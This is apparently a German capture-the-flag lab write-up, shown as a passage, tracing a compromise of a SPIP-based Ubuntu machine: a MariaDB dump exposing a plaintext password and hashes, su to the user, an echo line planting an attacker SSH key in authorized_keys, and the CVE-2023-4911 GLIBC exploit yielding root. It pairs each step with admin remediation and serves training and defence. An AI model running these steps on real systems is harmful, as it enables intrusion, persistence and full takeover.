Bewertung: Der Login als MySQL-Root ist erfolgreich. Die `mysql.user`-Tabelle zeigt verschiedene Benutzer, darunter `root`, `spipuser` und `dbuser`, alle mit demselben Passwort-Hash (`*6207...`). Die `spip.spip_auteurs`-Tabelle ist der entscheidende Fund: Sie enthält den Benutzer `angela` mit dem Klartextpasswort `4ng3l4` und den Benutzer `admin` mit einem bcrypt-Hash.
Empfehlung (Pentester): Das Klartextpasswort für `angela` ist der nächste Schritt. Versuchen Sie, sich per SSH als `angela` anzumelden oder mit `su angela` zu wechseln. Der Hash für `admin` könnte geknackt werden, ist aber weniger relevant, da `angela` gefunden wurde.
Empfehlung (Admin): Speichern Sie niemals Passwörter im Klartext in Datenbanken! Verwenden Sie starke Hashing-Verfahren. Entfernen Sie unnötige Datenbankbenutzer und beschränken Sie Berechtigungen. Verwenden Sie niemals denselben Passwort-Hash für mehrere Benutzer.
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
[...]
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| spip |
| sys |
+--------------------+
5 rows in set (0.001 sec)
MariaDB [(none)]> use mysql;
[...]
Database changed
MariaDB [mysql]> show tables;
[...]
| user |
[...]
31 rows in set (0.000 sec)
MariaDB [mysql]> select * from user;
+-----------+-------------+-------------------------------------------+----
| Host | User | Password | ...
+-----------+-------------+-------------------------------------------+----
| localhost | mariadb.sys | | ...
| localhost | root | *6207EE3F049D8F87CC0B4BBB8814917B31FB8E4F | ...
| localhost | mysql | invalid | ...
| localhost | user | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | ...
| localhost | dbuser | *6207EE3F049D8F87CC0B4BBB8814917B31FB8E4F | ...
| localhost | spipuser | *6207EE3F049D8F87CC0B4BBB8814917B31FB8E4F | ...
+-----------+-------------+-------------------------------------------+----
6 rows in set (0.001 sec)
MariaDB [mysql]> use spip;
[...]
Database changed
MariaDB [spip]> show tables;
+-------------------------+
| Tables_in_spip |
+-------------------------+
| spip_articles |
| spip_auteurs |
[...]
| spip_visites_articles |
+-------------------------+
28 rows in set (0.000 sec)
MariaDB [spip]> select * from spip_auteurs;
+-----------+--------+...+--------+--------------------------------------------------------------+...+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id_auteur | nom |...| login | pass |...| backup_cles |
+-----------+--------+...+--------+--------------------------------------------------------------+...+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | Angela |...| angela | 4ng3l4 |...| 3HnqCYcjg+hKjCDrTwhvDGXqQ34zRxFmdchyPL7wVRW3zsPwE6+4q0GlAPo4b4GRmzvR6NNFdEjARDtoeIAxH88cQZt2H3ENUggrz99vFfCmWHIdJgSDSI3A3nmnfEg43BDP4q9co/AP0XIlGzGteMiSJwc0fCXCxzCW9NwvzJYM/u/8cWGGdRALd7fzFYhY6DmokVnIlwauc8/lwRyNbam1H6+g5ju57cI8Dzll+pCMUPhhti9RvC3WNzC2IUcPnHEM= |
| 2 | admin |...| admin | $2y$10$.GR/i2bwnVInUmzdzSi10u66AKUUWGGDBNnA7IuIeZBZVtFMqTsZ2 |...| |
+-----------+--------+...+--------+--------------------------------------------------------------+...+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)
MariaDB [spip]>
Analyse: Der Befehl `su angela` wird ausgeführt und das gefundene Passwort `4ng3l4` eingegeben. Anschließend wird die Identität geprüft (`id`) und versucht, `sudo -l` auszuführen.
Bewertung: Der Wechsel zum Benutzer `angela` ist erfolgreich! `sudo -l` schlägt fehl, da `angela` keine sudo-Rechte hat.
Empfehlung (Pentester): Sie agieren nun als Benutzer `angela`. Beginnen Sie mit der Enumeration aus dieser Perspektive: Home-Verzeichnis untersuchen, `user.txt` lesen, nach weiteren Eskalationsmöglichkeiten suchen.
Empfehlung (Admin): Ändern Sie das Passwort für `angela`. Entfernen Sie Klartextpasswörter aus der Datenbank.
Password:
uid=1000(angela) gid=1000(angela) groups=1000(angela)
[sudo] password for angela: Sorry, user angela may not run sudo on pipy.
Analyse: Als `angela` wird ins Home-Verzeichnis gewechselt, der Inhalt aufgelistet und `user.txt` gelesen.
Bewertung: Das Home-Verzeichnis enthält Standarddateien und ein `.ssh`-Verzeichnis. Die User-Flag wird erfolgreich ausgelesen: `dab37650d43787424362d5805140538d`.
Empfehlung (Pentester): User-Flag gesichert. Untersuchen Sie das `.ssh`-Verzeichnis. Suchen Sie nach weiteren Hinweisen oder Eskalationsvektoren.
Empfehlung (Admin): Sichern Sie die User-Flag.
total 40 drwxr-x--- 6 angela angela 4096 Oct 17 17:47 . drwxr-xr-x 3 root root 4096 Oct 4 14:33 .. lrwxrwxrwx 1 angela angela 9 Oct 17 17:47 .bash_history -> /dev/null -rw-r--r-- 1 angela angela 220 Jan 6 2022 .bash_logout -rw-r--r-- 1 angela angela 3771 Jan 6 2022 .bashrc drwx------ 3 angela angela 4096 Oct 5 13:42 .cache drwxrwxr-x 3 angela angela 4096 Oct 3 16:17 .local -rw-r--r-- 1 angela angela 807 Jan 6 2022 .profile drwx------ 3 angela angela 4096 Oct 3 16:21 snap drwx------ 2 angela angela 4096 Oct 2 17:58 .ssh -rw-r--r-- 1 angela angela 0 Oct 2 17:59 .sudo_as_admin_successful -rw------- 1 angela angela 33 Oct 5 14:15 user.txt
dab37650d43787424362d5805140538d
Analyse: Untersuchung des `.ssh`-Verzeichnisses von `angela`.
Bewertung: Das Verzeichnis enthält nur eine leere `authorized_keys`-Datei. Es sind keine privaten Schlüssel vorhanden, und es können keine neuen öffentlichen Schlüssel für einen passwortlosen Login hinzugefügt werden (obwohl der nächste Block dies vorbereitet).
Empfehlung (Pentester): Das `.ssh`-Verzeichnis bietet keinen direkten Vorteil.
Empfehlung (Admin): Standardkonfiguration.
total 8 drwx------ 2 angela angela 4096 Oct 2 17:58 ./ drwxr-x--- 6 angela angela 4096 Oct 17 17:47 ../ -rw------- 1 angela angela 0 Oct 2 17:58 authorized_keys
Analyse: Versuche, mit `pkexec` Befehle als Root auszuführen.
Bewertung: Schlagen fehl, da `angela` nicht in der sudoers-Datei ist und das Root-Passwort nicht bekannt ist.
Empfehlung (Pentester): Polkit/pkexec ist hier kein Vektor.
Empfehlung (Admin): Korrekte Konfiguration.
[sudo] password for angela: 4ng3l4 angela is not in the sudoers file. This incident will be reported.
==== AUTHENTICATING FOR org.freedesktop.policykit.exec === Authentication is needed to run `/bin/sh' as the super user Authenticating as: root Password: polkit-agent-helper-1: pam_authenticate failed: Authentication failure ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized This incident has been reported.
Analyse: Vorbereitung auf dem Angreifer-System: Der öffentliche SSH-Schlüssel wird angezeigt und ein `echo`-Befehl vorbereitet, um diesen Schlüssel in die (derzeit leere) `authorized_keys`-Datei auf dem Zielserver zu schreiben.
Bewertung: Dieser Schritt bereitet einen passwortlosen SSH-Zugang als `angela` vor. Er muss als Benutzer `angela` auf dem Ziel ausgeführt werden.
Empfehlung (Pentester): Führen Sie den `echo`-Befehl in der `angela`-Shell aus, um den Schlüssel hinzuzufügen. Testen Sie anschließend den SSH-Login ohne Passwort.
Empfehlung (Admin): Überwachen Sie Änderungen an `authorized_keys`-Dateien.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYUeXgm3BEJmxiN2ysvJBr8puBfdwjwetxySgddq3l9j8esziRWfwNe1/mXL4eKxzHoY9akl7/SLqLzxdUM4z2zIkB9bnKawoLuzPh2yeMgsVmYiWnHGWEcBaYm9FNIuuvBAGmMLjfTV+W+oz20IZoWf0AusM8nNnLQxK3MwMiXZeD3yxFSk2k2Sv+W5QqhoE7FmhwmD1Lddx0n/LYqbk1b+pG4MIkZ8TT06wJAMSYBTDmcprTNLhD8+ZSRBzMscKSKaRYIt5ua0Q05wIgWwcSmNs45AfV9KB3irpcN8EU26fe0y6BzVdqzHdCgkPd5SxSr4uLluxZeYgtXdfgTrTMuz85efs2g4fg8PS5r2AWEhnDQWjHzSuG11hUEXoTRuyI4QiEBGzemtLX6sG/M36kcctuip7g/MZ5sqo4CPR4fJMUURd700yd1whxuwbGUwr41Tw0YbDZ4WtPWqXI8TbQ3VXKc+EXSX0T5echu+kWsW8JFXmX+CQN3x8= root@Cybermaschine
# Vorbereiteter Befehl (auf dem Ziel als 'angela' auszuführen): # echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYUeXgm3BEJmxiN2ysvJBr8puBfdwjwetxySgddq3l9j8esziRWfwNe1/mXL4eKxzHoY9akl7/SLqLzxdUM4z2zIkB9bnKawoLuzPh2yeMgsVmYiWnHGWEcBaYm9FNIuuvBAGmMLjfTV+W+oz20IZoWf0AusM8nNnLQxK3MwMiXZeD3yxFSk2k2Sv+W5QqhoE7FmhwmD1Lddx0n/LYqbk1b+pG4MIkZ8TT06wJAMSYBTDmcprTNLhD8+ZSRBzMscKSKaRYIt5ua0Q05wIgWwcSmNs45AfV9KB3irpcN8EU26fe0y6BzVdqzHdCgkPd5SxSr4uLluxZeYgtXdfgTrTMuz85efs2g4fg8PS5r2AWEhnDQWjHzSuG11hUEXoTRuyI4QiEBGzemtLX6sG/M36kcctuip7g/MZ5sqo4CPR4fJMUURd700yd1whxuwbGUwr41Tw0YbDZ4WtPWqXI8TbQ3VXKc+EXSX0T5echu+kWsW8JFXmX+CQN3x8= root@Cybermaschine' > ~/.ssh/authorized_keys
Analyse: Systeminformationen werden gesammelt: Distribution (`lsb-release`) und GLIBC-Version (`ldd --version`).
Bewertung: Bestätigt Ubuntu 22.04.3 LTS und GLIBC 2.35. Diese Information ist entscheidend für die Auswahl passender Exploits, insbesondere für Kernel- oder Bibliotheks-Schwachstellen.
Empfehlung (Pentester): Suchen Sie nach Exploits, die für Ubuntu 22.04 und GLIBC 2.35 relevant sind. CVE-2023-4911 (Looney Tunables) betrifft GLIBC-Versionen vor 2.38 und ist ein heißer Kandidat.
Empfehlung (Admin): Halten Sie das Betriebssystem und Bibliotheken wie GLIBC aktuell, um bekannte Schwachstellen zu schließen.
DISTRIB_ID=Ubuntu DISTRIB_RELEASE=22.04 DISTRIB_CODENAME=jammy DISTRIB_DESCRIPTION="Ubuntu 22.04.3 LTS"
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35 Copyright (C) 2022 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Written by Roland McGrath and Ulrich Drepper.
Analyse: Versuch, ein Verzeichnis im Home-Verzeichnis zu erstellen, schlägt wegen Platzmangel fehl. Wechsel nach `/dev/shm` (RAM-Disk) und erfolgreiche Erstellung des `hacker`-Verzeichnisses. Klonen des Git-Repositories für den Looney Tunables Exploit (CVE-2023-4911).
Bewertung: Das Problem des vollen Home-Verzeichnisses wird umgangen, indem `/dev/shm` verwendet wird. Der Exploit-Code für die vielversprechende GLIBC-Schwachstelle wird erfolgreich heruntergeladen.
Empfehlung (Pentester): Kompilieren und führen Sie den heruntergeladenen Exploit aus.
Empfehlung (Admin): Überwachen Sie den Speicherplatz. Untersuchen Sie, warum das Home-Verzeichnis voll ist. Patchen Sie GLIBC gegen CVE-2023-4911.
mkdir: cannot create directory ‘hacker’: No space left on device
/dev/shm
Cloning into 'CVE-2023-4911'... remote: Enumerating objects: 9, done. remote: Counting objects: 100% (9/9), done. remote: Compressing objects: 100% (7/7), done. remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0 Receiving objects: 100% (9/9), done. Resolving deltas: 100% (2/2), done.
total 0 drwxrwxr-x 3 angela angela 60 Oct 26 22:21 ./ drwxrwxrwt 3 root root 80 Oct 26 22:21 ../ drwxrwxr-x 3 angela angela 140 Oct 26 22:21 CVE-2023-4911/
Analyse: Die Überschrift "Privilege Escalation" leitet den finalen Schritt ein.
Bewertung: Vorbereitung auf die Ausführung des Exploits.
Empfehlung (Pentester): Exploit kompilieren und ausführen.
Empfehlung (Admin): Keine Aktion.
Privilege Escalation
Analyse: Wechsel in das Exploit-Verzeichnis. Kompilieren des Exploits (`exp.c`) mit `gcc` zur ausführbaren Datei `hack`. Auflisten des Verzeichnisses. Versuch, den Exploit über `make` auszuführen (wird abgebrochen). Schließlich direkter Start des kompilierten Exploits `./hack`.
Bewertung: Das Kompilieren ist erfolgreich. Der Exploit (`./hack`) wird gestartet und läuft durch mehrere Versuche (`try 100`, `try 200`, ...). Schließlich gelingt der Exploit und liefert eine Root-Shell (`#`). Der `id`-Befehl bestätigt `uid=0(root)`.
Empfehlung (Pentester): Fantastisch! Der Looney Tunables Exploit war erfolgreich. Root-Zugriff wurde erlangt. Suchen und lesen Sie die Root-Flag.
Empfehlung (Admin): Patchen Sie GLIBC dringend gegen CVE-2023-4911. Überwachen Sie die Ausführung von unbekannten kompilierten Programmen.
total 2240 drwxrwxr-x 4 angela angela 4096 Oct 26 22:40 . drwxrwxr-x 3 angela angela 4096 Oct 26 22:39 .. -rwxrwxr-x 1 angela angela 16600 Oct 26 22:40 exp # Original exploit file name? -rw-rw-r-- 1 angela angela 3815 Oct 26 22:39 exp.c -rw-rw-r-- 1 angela angela 390 Oct 26 22:39 gen_libc.py drwxrwxr-x 8 angela angela 4096 Oct 26 22:39 .git -rwxrwxr-x 1 angela angela 16600 Oct 26 22:40 hack # Compiled exploit -rw-rw-r-- 1 angela angela 2216304 Oct 26 22:40 libc.so.6 # Likely generated by gen_libc.py -rw-rw-r-- 1 angela angela 179 Oct 26 22:39 Makefile -rw-rw-r-- 1 angela angela 717 Oct 26 22:39 README.md
./exp try 100 try 200 try 300 ^Cmake: *** wait: No child processes. Stop. make: *** Waiting for unfinished jobs.... make: *** wait: No child processes. Stop.
try 100 try 200 try 300 try 400 try 500 try 600 try 700 # id uid=0(root) gid=0(root) groups=0(root),1000(angela) #
Analyse: In der Root-Shell wird ins `/root`-Verzeichnis gewechselt, der Inhalt aufgelistet und `root.txt` ausgelesen.
Bewertung: Die Root-Flag wird erfolgreich gefunden: `ab55ed08716cd894e8097a87dafed016`.
Empfehlung (Pentester): Alle Flags gesammelt, Test erfolgreich abgeschlossen.
Empfehlung (Admin): Root-Flag sichern, GLIBC patchen.
root.txt snap
ab55ed08716cd894e8097a87dafed016
Analyse: Kommentar, der den erfolgreichen Abschluss der Privilegieneskalation markiert.
Bewertung: Bestätigt die Erlangung von Root-Rechten.
Empfehlung (Pentester): Klare Dokumentation des Weges (RCE -> DB -> su -> Exploit).
Empfehlung (Admin): Fokus auf die Behebung der ursprünglichen RCE in SPIP und der GLIBC-Schwachstelle.
Privilege Escalation erfolgreich
Kurzbeschreibung: Das System verwendet eine anfällige Version der GNU C Library (GLIBC < 2.38), die von der "Looney Tunables"-Schwachstelle (CVE-2023-4911) betroffen ist. Diese Schwachstelle im dynamischen Lader (`ld.so`) ermöglicht durch einen Pufferüberlauf bei der Verarbeitung der `GLIBC_TUNABLES`-Umgebungsvariable die lokale Eskalation von Privilegien zu Root.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
Analyse Schritt 1: Überprüfung der GLIBC-Version auf dem Zielsystem.
Bewertung Schritt 1: Der Befehl `ldd --version` zeigt Version 2.35 an, die bekanntermaßen für CVE-2023-4911 anfällig ist.
Empfehlung (Pentester): Bestätigt die Anwendbarkeit des Exploits.
Empfehlung (Admin): Update von GLIBC ist dringend erforderlich.
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35 [...]
Analyse Schritt 2: Herunterladen des Exploit-Codes von einer öffentlichen Quelle (z.B. GitHub) in ein beschreibbares Verzeichnis (`/dev/shm`).
Bewertung Schritt 2: Der Exploit-Code ist nun auf dem Zielsystem verfügbar.
Empfehlung (Pentester): Stellen Sie sicher, dass alle benötigten Dateien des Exploits heruntergeladen wurden.
Empfehlung (Admin): Überwachen Sie Downloads von bekannten Exploit-Repositories.
Cloning into 'CVE-2023-4911'...
Analyse Schritt 3: Kompilieren des Exploit-Codes mit `gcc`.
Bewertung Schritt 3: Eine ausführbare Datei (hier `hack`) wird erstellt.
Empfehlung (Pentester): Stellen Sie sicher, dass der Kompilierungsvorgang fehlerfrei abgeschlossen wird.
Empfehlung (Admin): Beschränken Sie die Verfügbarkeit von Compilern auf Produktivsystemen, wenn möglich.
Analyse Schritt 4: Ausführen der kompilierten Exploit-Datei.
Bewertung Schritt 4: Der Exploit nutzt die GLIBC-Schwachstelle aus und startet eine Shell mit Root-Rechten, was durch `id` bestätigt wird.
Empfehlung (Pentester): Der Exploit war erfolgreich. Root-Zugriff erlangt.
Empfehlung (Admin): Patchen Sie GLIBC.
try 100 try 200 try 300 try 400 try 500 try 600 try 700 # id uid=0(root) gid=0(root) groups=0(root),1000(angela) #
Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen.
Beweismittel: Die empfangene Shell mit Root-Kennung (`#` Prompt, `uid=0(root)`) nach Ausführung des kompilierten Exploits.
Risikobewertung: Kritisch. Diese Schwachstelle erlaubt jedem lokalen Benutzer die vollständige Übernahme des Systems.
Empfehlungen: Aktualisieren Sie die GNU C Library (GLIBC) dringend auf eine gepatchte Version (>= 2.38) oder wenden Sie die von Ihrem Distributions-Anbieter bereitgestellten Patches an.